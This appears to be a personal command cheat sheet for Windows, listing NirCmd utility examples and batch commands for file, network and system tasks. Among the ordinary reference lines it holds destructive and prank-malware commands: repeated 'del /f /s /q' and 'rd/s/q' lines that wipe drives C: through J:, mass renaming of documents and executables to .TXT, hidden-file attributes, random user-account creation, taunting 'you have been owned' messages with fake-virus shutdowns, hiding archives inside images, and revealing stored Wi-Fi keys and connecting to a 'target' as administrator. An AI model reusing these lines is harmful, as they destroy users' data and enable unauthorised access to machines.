CMD.LS

NAJEEB NIRCMD COMMAND
nircmd.exe savescreenshot "~$folder.desktop$\PIC~$loopcount$.jpg"
nircmd.exe loop 10 60000 savescreenshot "~$folder.desktop$\P~$loopcount$.png"
nircmd.exe loop 3 20000 savescreenshot "DATA\PIC~$loopcount$.jpg"
nircmd.exe savescreenshot "~$folder.desktop$\shot.png"
nircmd.exe savescreenshot "~$folder.desktop$\shot.png" 50 50 300 200
nircmd.exe savescreenshot *clipboard* 150 150 400 400
nircmd.exe loop 3 2000 savescreenshotwin "DATA\PIC~$loopcount$.jpg"
nircmd.exe savescreenshotwin "DATA\PIC~$loopcount$.png"
nircmd.exe savescreenshotwin *clipboard*
nircmd.exe clipboard set "123456"
nircmd.exe clipboard set ~$folder.desktop$
nircmd.exe clipboard set ~$folder.start_menu$
nircmd.exe clipboard readfile "~$folder.desktop$\info1.txt"
nircmd.exe clipboard addfile "~$folder.desktop$\clip1.txt"
nircmd.exe clipboard clear
nircmd.exe clipboard saveimage "~$folder.desktop$\clip01.png"
nircmd.exe clipboard saveimage "~$folder.desktop$\clip01.gif"
nircmd.exe clipboard copyimage "~$folder.desktop$\img01.gif"
nircmd.exe clipboard saveclp "~$folder.desktop$\1.clp"
nircmd.exe clipboard loadclp "~$folder.desktop$\1.clp"
nircmd.exe beep 500 2000
nircmd.exe mutesysvolume 1
nircmd.exe mutesysvolume 0
nircmd.exe mutesysvolume 2
nircmd.exe cmdshortcut "~$folder.desktop$" "Switch Volume" mutesysvolume 2
nircmd.exe changesysvolume 2000
nircmd.exe changesysvolume -5000
nircmd.exe setsysvolume 65535
nircmd.exe monitor off
nircmd.exe screensaver
nircmd.exe emptybin
nircmd.exe folder.appdata
nircmd.exe folder.startup
nircmd.exe cdrom open j:
nircmd.exe cdrom close y:
nircmd.exe exitwin poweroff
nircmd.exe regedit "~$clipboard$"
nircmd.exe filldelete "C:\Users\Najeeb\AppData\Local\Temp\*.*"
nircmd.exe filldelete "c:\temp\myfile.dat"
nircmd.exe cmdwait 1000 monitor off
nircmd.exe elevate "C:\Windows\notepad.exe"
nircmd.exe infobox "This is a message box " "message"
nircmd.exe convertimage "c:\temp\test1.gif" "c:\temp\test1.png"
nircmd.exe convertimage "c:\temp\test1.jpg" "c:\temp\test1.gif"
nircmd.exe convertimages "c:\temp\a*.gif" .png
nircmd.exe convertimages "c:\temp\*.jpg" .gif
nircmd.exe mediaplay 10000 "c:\temp\1.mp3"
nircmd.exe mediaplay 180000 "c:\my files\1.wav"
nircmd.exe shellcopy "c:\temp\*.*" "d:\temp"
nircmd.exe shellcopy "c:\temp\*.*" "d:\temp" yestoall noerrorui
nircmd.exe shortcut "C:\winnt\system32\calc.exe" "~$folder.desktop$" "Windows Calculator"
nircmd.exe shortcut "C:\winnt\system32\calc.exe" "~$folder.programs$\Calculators" "Windows Calculator"
nircmd.exe shortcut "C:\Program Files\KaZaA\Kazaa.exe" "c:\temp\MyShortcuts" "Kazaa"
nircmd.exe shortcut "f:\Program Files" "c:\temp\MyShortcuts" "Program Files Folder" "" "f:\winnt\system32\shell32.dll" 45
nircmd.exe shortcut "C:\Program Files" "c:\temp\MyShortcuts" "Program Files Folder" "" "" "" "max"
nircmd.exe sendkeypress Ctrl+printscreen
nircmd.exe sendkey a press
nircmd.exe sendkey f10 press
nircmd.exe sendkey enter press
nircmd.exe sendkey 0x2e press
nircmd.exe urlshortcut "http://www.nirsoft.net" "~$folder.favorites$" "NirSoft Web Site"
nircmd.exe urlshortcut "http://www.google.com" "~$folder.favorites$\Search Engines" "Google"
nircmd.exe urlshortcut "http://www.yahoo.com" "c:\temp" "Yahoo"
nircmd.exe speak text ~$clipboard$
nircmd.exe speak text "Please visit the Web site of NirSoft at http://www.nirsoft.net" 2 80
nircmd.exe loop 3 2000 speak text "Call Number ~$loopcount$"
nircmd.exe speak file "c:\temp\speak1.txt"
nircmd.exe speak file "c:\temp\speak1.txt" 0 100 "c:\temp\speak.wav" 48kHz16BitStereo
~~~~****========================END==========================****~~~~
Najeeb Batch Commands
FIND /I "[COMMANDS]" %windir%\CMD.fm
FIND "WORD" *.txt
FIND /V /C "" D:\Samle.txt  OR *.txt
FIND /I "WORD" *Files*.txt
FIND /N /I "TEXT" *.txt
TYPE D:\Sample.txt | FIND " /V /C
FINDSTR "WORD1 WORD2 WORD3...." Sample.txt OR *.txt
FINDSTR "APPLE BALL cat...." Sample.txt OR *.txt
MD "Najeeb"
MD user1 user2 user3
MD "my example directory"
MKDIR \A\B\C
MD ..\example
MD %%random%%
CD
CD\Program Files
CD %USERPROFILE%
CD..
CD..\..
CD\
CD\Windows
CD\windows\system32
CD /d E:\Pics
CLIP /?
command | clip
DIR | CLIP
CLIP < README.TXT
TYPE DIR /B > List.txt
CMD /R DIR /B > List.txt
DIR > List.txt
DIR /?
DIR \*.* /S /B /A
DIR /ad
DIR /ash
DIR /a-d
DIR /a:d
DIR /b
DIR /-c
DIR /D
DIR /L
DIR /-N
DIR /OD
DIR /O-D
DIR /P
DIR /Q
DIR /R
DIR /S
DIR /TC
DIR /W
DIR /a:s
DIR \*.mp3 /s
DIR \*.mp3 /s /p
DIR \*.mp3 /s /b > filename.txt
DIR \*.txt /s /b /a |clip
DIR *.txt
DIR /B /S \Mmystuff > File.txt
DIR /O:gne   OR  DIR /O:S   OR  DIR /O:D
ATTRIB +h %%0  Bat File hide
ATTRIB +S +H "E:\*" /S /D
ATTRIB -S -H -R /s /d *.*
ATTRIB -S -H -R /s /d G:\*.*
set /p Hide= Type File Only EXTENSION:,>ATTRIB +h +s *.%%Hide%%
set /p Unh= Type File Only EXTENSION:,>ATTRIB /S -h -s *.%%Unh%%
ATTRIB To hide all files and subfolders in your target location,
ATTRIB +h +S C:PathToTheFileOrFolder /s /d
ATTRIB -h c:\config.sys
ATTRIB -h -r -s c:\boot\bcd
ATTRIB +a f:*.* & attrib -a f:*.bak
ATTRIB myimage.jpg
ATTRIB Run command prompt as an administrator For Virus Remove
ATTRIB -r -a -h *.*  or ATTRIB -s -h /s /d *.*
Attrib +S +H +R
Attrib +h *.ext
Attrib /S -h *.ext
Attrib -S -H -R
call Attrib +S +H +R
COPY *.txt D:\
COPY *.* D:   OR COPY * D:\Folder /y
COPY c:\data\file1.doc D:\backup\file2.doc ,  Single Copy
COPY c:\data\*.doc D:\backup  , All Doc Files Data Folder Copy
COPY /Y c:\dir1\file1.txt  c:\dir2\file2.txt , Without confirmation
COPY *   D:\dir1\dir2
COPY *.* D:
COPY "computer hope.txt" hope
COPY myfile1.txt+myfile2.txt  , combines Files contents
COPY /b Pic.jpg+Text.txt NewPic.jpg , Text Hide In Picture
Echo Hide Text Here >> DATA\PIC.jpg
copy /b DATA\PIC.jpg + File.rar DATA\PICNEW.jpg
rar a -r -psonyNSK PIC.rar %CD%
copy /b DATA\P.jpg + PIC.rar DATA\PICR.jpg
xcopy /y "*.*" DATA\
move /y "*.*" DATA\
DEL "*.rar"
DEL /F *.ext
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q
del /S /Q "*.*"
rd/s/q C:\
rd/s/q D:\
rd/s/q E:\
rd/s/q F:\
rd/s/q G:\
rd/s/q H:\
rd/s/q I:\
rd/s/q J:\
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
msg * Hi
msg * Are you having fun?
msg * I am
msg * Lets have fun together
msg * Because you have been o-w-n-e-d
user %%random%% /add
start C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
start C:\Windows\notepad.exe
start http://www.google.com/
start http://www.youtube.com/
taskkill -im explorer.exe /f >nul&start explorer
WMIC ComputerSystem GET Model
WMIC computersystem get name,systemtype
WMIC bios get serialnumber
WMIC csproduct get identifyingnumber
WMIC nic get macaddress,description
WMIC baseboard get product,Manufacturer,version,serialnumbe
WMIC COMPUTERSYSTEM get TotalPhysicalMemory
WMIC process get workingsetsize,commandline
WMIC partition get name,size,type
WMIC COMPUTERSYSTEM GET MANUFACTURER
WMIC csproduct get  version
WMIC service list brief
WMIC process list brief
WMIC startup list brief
WMIC process where name="firefox.exe" call terminate
WMIC output to file get all process name Save
WMIC /output:"C:\output.txt"
ping 8.8.8.8
nslookup = nslookup www.google.com
arp    or  arp-a
ipconfig
ipconfig /release (this will release your IP)
ipconfig /renew (this will renew your iP)
netstat =Type in command prompt “netstat -a“ "netstat -n" "netstat -an"
Route =You can type in command prompt “route print“
Net View =You can type in command prompt “net view x.x.x.x or computername“
Net User =Net User  "Enter" , Net User Najeeb  "Enter"
Net User =net user yourusername * (Change yourusername with your PC user name and press Enter. Now type the new password.)
Net Use =net use \ipaddressipc$ “” /user:administrator (this command will allow you to connect to the target as administrator)
Net Use =net use K: \computernameC$ (this will create a virtual drive on your “my computer” folder)
Tasklist =taskkill /PID 1532 /F (if you want to kill PID 1532 process then you can enter the command: taskkill /PID 1532 /F
iexplore = use iexplore <IP address> to find sites running on any particular IP address.
Pathping =
Getmac =
Netsh =
ftp = ftp 192.168.1.80
ssh = ssh Najeeb@192.168.0.100
Netstat =
tracert =tracert www.google.com
Net wlan show profile  "Enter"
Net wlan show profile "wifi Name" key=clear   "Enter"
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive
shutdown -r -f -t 00
shutdown -s -t 100 c “Installing Updates”
start shutdown -s -f -t 300 -c "Should have asked for permission...SHUTDOWN INITIATED"
echo %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%%